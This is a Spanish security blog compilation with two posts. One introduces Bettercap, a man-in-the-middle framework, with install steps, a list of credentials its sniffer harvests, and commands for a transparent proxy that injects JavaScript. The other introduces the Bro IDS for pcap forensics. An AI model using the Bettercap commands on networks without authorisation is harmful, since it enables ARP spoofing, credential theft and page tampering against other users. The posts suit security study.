Bettercap es un completo y modular, framework (marco) para hacer ataques MITM (Man-in-the-middle) además de ser portátil y fácilmente extensible. Su autor es Simone Margaritelli también conocido como Evilscocket. El proyecto nace de la necesidad de mejorar la anticuada herramienta ettercap. Una herramienta sobretodo enfocada a analizar tráfico HTTP.







Diferencias y mejoras con ettercap

  • ettercap era una gran herramienta, pero se hizo su tiempo.
  • Hemos encontrado filtros ettercap simplesque no funcionan en muchos casos, ya que están obsoletos y tampoco se han mantenido ya que no hay tantos programadores de bajo nivel C interesados en mantenerla.
  • ettercap está volviendo loco e inestable en redes grandes ... Si usted ha tratado de utilizar la función de descubrimiento de host del ettercap en cualquier red grande verás que simplemente no se puede escalar bien.
  •  sí se puede ver las conexiones y cosas pcap prima, buen juguete, sino como un investigador profesional quiero ver solamente cosas relevantes.
  • A menos que seas un desarrollador C / C ++, no se puede ampliar fácilmente ettercap o hacer su propio módulo
De hecho se puede utilizar más de una herramienta de ... tal vez arpspoof para realizar el envenenamiento real, mitmproxypara interceptar HTTP cosas y se inyectan sus cargas útiles y demás ... no sé ustedes, pero no odias cuando necesitas utilizar una docena de herramientas sólo para realizar un solo ataque, sobre todo cuando tienes que hacer un poco de magia negro con el fin de hacer que todos ellos trabajan en una distro como OSX.

Otra herramienta similar es MITMf

Cómo instalar Bettercap


Usando gem: 

gem install bettercap

 O clonando el repositorio de github:
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
 Todas las dependencias se instalarán de forma automática a través del sistema de GEM, en algunos casos puede que tengas que instalar alguna dependencia del sistema con el fin de que todo funcione:

 Dependencias

sudo apt-get install ruby-dev libpcap-dev

Ejemplos de uso

Puede orientar su red local totalidad o una única dirección IP local específica, no importa realmente, las capacidades de suplantación ARP bettercap y sus múltiples hosts agentes de descubrimiento va a hacer el trabajo sucio por ti.

Sólo tienes que abrir la herramienta y esperar a que se haga su trabajo ...


Actualmenteel sniffer es capaz de diseccionar e imprimir desde la red la siguiente información:


  • URL que ha sido visitada
  • HTTPS acogida que se visita.
  • HTTP POSTeado datos.
  • HTTP Basic y Digest autenticaciones.
  • Credenciales FTP.
  • Credenciales de IRC.
  • POP, IMAP y SMTP credenciales.
  • NTLMv1 / v2 (HTTP, SMB, LDAP, etc.) credenciales.


También incorpora un Proxy modular transparente

sudo bettercap --proxy --proxy-port=8081


 y un servidor http integrado.

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb 


Fuentes:
http://www.bettercap.org/ 
https://www.reddit.com/r/netsec/comments/3enbwy/bettercap_a_complete_modular_portable_and_easily/

Fuente: http://blog.elhacker.net/2015/07/bettercap-un-completo-framework-para-hacer-ataques-mitm.html

jueves, 30 de julio de 2015

Bro: La herramienta de análisis forense de pcaps que debes conocer




Una de las partes fundamentales en el análisis dinámico de códigos maliciosos es la obtención de información a partir de una captura de tráfico. Para lograr este objetivo además de las opciones para hacer gráficos, el uso de filtros en Wireshark para detectar actividad maliciosa suele ser una de las alternativas más utilizada.

Pero no es la única herramienta para lograrlo, por ejemplo Malcom permite examinar estructuras de redes maliciosas facilitando el análisis de las relaciones entre las diversas direcciones IP, dominios y servidores DNS que toman parte en una comunicación C&C, permitiendo procesar rápidamente los datos recolectados y creando gráficos intuitivos que ponen en evidencia las conexiones entre equipos en red. Otra interesante opción para analizar archivos pcap es CapTipper, desarrollada en Python tiene una serie de características que facilita la lectura de estos archivos permitiendo ahorrar tiempo y optimizando el trabajo de auditoría.

Dentro de todo el arsenal de herramientas que se podrían encontrar para realizar este tipo de actividades encontramos Bro, pensado como un sistema de detección de intrusiones (IDS) que corre en plataformas UNIX/Linux y cuyo principal objetivo es permitir el análisis del tráfico de red en busca de actividad sospechosa. Ya de hecho la habíamos utilizado para extraer información de archivos pcap y visualizar las capturas de tráfico de botnets con OpenGraphiti, además de servir para procesar y simplificar la identificación de patrones entre los bots durante la Operación Liberpy.

Dado que es una herramienta bastante útil y que por su facilidad para hacer scripts resulta bastante flexible y adaptable, sobre todo para el análisis forense de una gran cantidad de datos. Vamos a hacer escribir una serie de post con información de cómo utilizar Bro y algunas ideas que podrían resultar relevantes.

Bro 101: Por dónde empezar

Esta herramienta permite analizar la actividad de red a nivel de aplicación para ir comparando este comportamiento con patrones que pudieran ser considerados sospechosos ya sea por el tipo de paquetes que se intercambien o las características de su contenido.

Para iniciar nuestros análisis solo debemos ejecutar el comando para copiar el repositorio directamente desde GitHub. Con estos además de asegurarnos que tenemos la última versión se nos facilitará su actualización:

git clone --recursive git://git.bro.org/org

Una vez tenemos el repositorio en nuestra máquina, solo nos queda instalar algunas dependencias
 y ejecutar la instalación de nuestra herramienta. Esta herramienta es 
conocida por sus funcionalidades de IDS, pero en este caso nos va 
interesar darle una mirada a las características para extraer 
información de las capturas de tráfico.

Dentro de las características que vale la pena resaltar en la capacidad para analizar grandes volúmenes de tráfico. El funcionamiento de la herramienta como ya lo mencionamos se hace a través de scripts, con los cuales se hace la extracción de información que se esté buscando.

Como resultado de aplicar Bro sobre un archivo pcap resultan varios archivos con información más específica y organizada de acuerdo a las características de cada script. Utilizando la opción más básica de Bro podemos obtener una gran cantidad de información discriminada por protocolos:

bro –r [ruta_archivo_pcap]

Ahora tenemos varios archivos con la información organizada de diferentes manera. Por ejemplo en el archivo http.log
 se pueden encontrar filtradas las peticiones HTTP de la captura de 
tráfico. Como se puede ver en la siguiente imagen, algo que puede llamar
 la atención durante un análisis es la descarga de un archivo 
ejecutable:

http.log_WLS

El string que está resaltado en amarillo, nos va a permitir hacer seguimiento de este evento en particular a través de los demás archivos generados por la herramienta. Por ejemplo si vamos al archivo conn.log y buscamos esta cadena de caracteres vamos a obtener más información sobre la conexión como el momento en que se llega el primer paquete, las ip y puertos utilizados, la duración de la conexión, el origen de la conexión, entre otra información que podría resultar interesante para el análisis:

conn.log_WLSHasta este punto con el manejo de Bro podemos obtener información similar a la que podríamos encontrar en otras herramientas como Wireshark o CapTipper, solo que organizada de una manera diferente. En nuestro próximo post, vamos a ver como apoyarnos en scripts de Bro para reunir información de diferentes fuentes y que nos quede disponible para su análisis.


Créditos imagen: © Mike Mozart/Flickr
Fuente: http://www.welivesecurity.com/la-es/2015/07/30/bro-la-herramienta-de-analisis-forense-de-pcaps-que-debes-conocer/